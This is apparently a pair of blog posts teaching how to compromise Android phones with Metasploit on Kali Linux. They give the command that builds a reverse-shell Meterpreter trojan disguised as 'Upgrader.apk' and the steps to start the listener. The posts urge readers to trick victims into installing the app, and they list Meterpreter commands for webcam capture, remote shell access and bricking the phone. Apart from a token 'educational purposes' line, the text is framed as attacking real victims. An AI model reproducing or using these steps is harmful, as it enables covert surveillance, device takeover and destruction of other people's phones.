How To Remotely Hack Android using Kali Linux

In this tutorial you'll learn how to hack an Android device using Metasploit running on Kali Linux. Let's hack some!

We'll be creating a little APK file and pushing it over to the victim. When victim installs & eventually opens the file, we'll be able to control his/her device using Zetasploit commands. Easy, peasy!

This is an advanced tutorial, advanced skillz needed!

Step 1 - Launch Kali and make an APK of the trojan virus you'll be sending over to a victim.
You can do so by typing the following command:

msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk

 - Replace LHOST with your own IP adresss.
 - This is meant for LAN pushing, if you're about to hack through WAN (through the net), you'll hav eto use external IP with port forwarding.




Step 2 - Open up another console and load Metasploit console, type msfconsole




Step 3 - After the Metasploit console loads, load the multi-handler by typing use exploit/multi/handler command.



Step 4 - Set up payload by typing set payload android/meterpreter/reverse_tcp to the console.
To set up the host, type: set LHOST 192.168.0.4 (Even if you are hacking on WAN type your private/internal IP here not the public/external)



Step 5 - Exploit. Type exploit to start listener. Copy the upgrader.apk and upload it somewhere. Be creative and let the victim install your virus app on their phone. (The victim must have "unknown sources" checked in case to install apps not from Google Play).


After the victim opens up your app, you can use Meterpreter commands to control the victim's phone. Easy, cheezy.



See Meterpreter commands here:
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics


Source

Read More

How to hack Android device using Metasploit

I've got in touch with Metasploit framework, the well-known software for penetration tests (in other words, hacking) and whatnot. You can do a lot of funky stuff with it, here's a quick way to exploit an Android device using it.

For educational purposes only.

To do this, you'll need a Metasploit Framework (you can use Kali Linux as a workspace).
Basically what you do, is that you create a backdoor APK file and send it to the device. The victim then opens and installs the file.

What happens next is that Metasploit starts a reverse handler along with a payload handler. It estabilishes the connection and launches Meterpreter. Meterpreter is a powerful tool with a plenty of awesome functions. Let's check some of them right in the beginning.

• shell

As the command suggest, this will launch the shell on the target. If the victim uses a Linux-based system, like Android, and it's rooted, you can easily take full control over the device. Using commands like su, rm /system and others will brick the device right away.

• webcam_list

This command returns a list of all available webcams on the target.

• webcam_snap

Takes a picture from the target and saves it to your disc (to your current workspace by default).

There are many more commands in Meterpreter, check HERE.

Back to hackz.

What we do next is the execution of msfpayload reverse_tcp with LHOST and finally creating an APK file. When the APK file is created, we can send it to the victim or arrange it somewhere, spread it to the world and whatanot.

Then we do some more funky stuff and start the meterpreter session.

By using sessions command, we can view active sessions (victim x attacker).

Using the command sesssion -i [number of session] we open the active session and start using the meterpreter  command listed above. Pretty easy!

And here's a quick YouTube video I found. Check it out for more information. Happy hacking!

Read More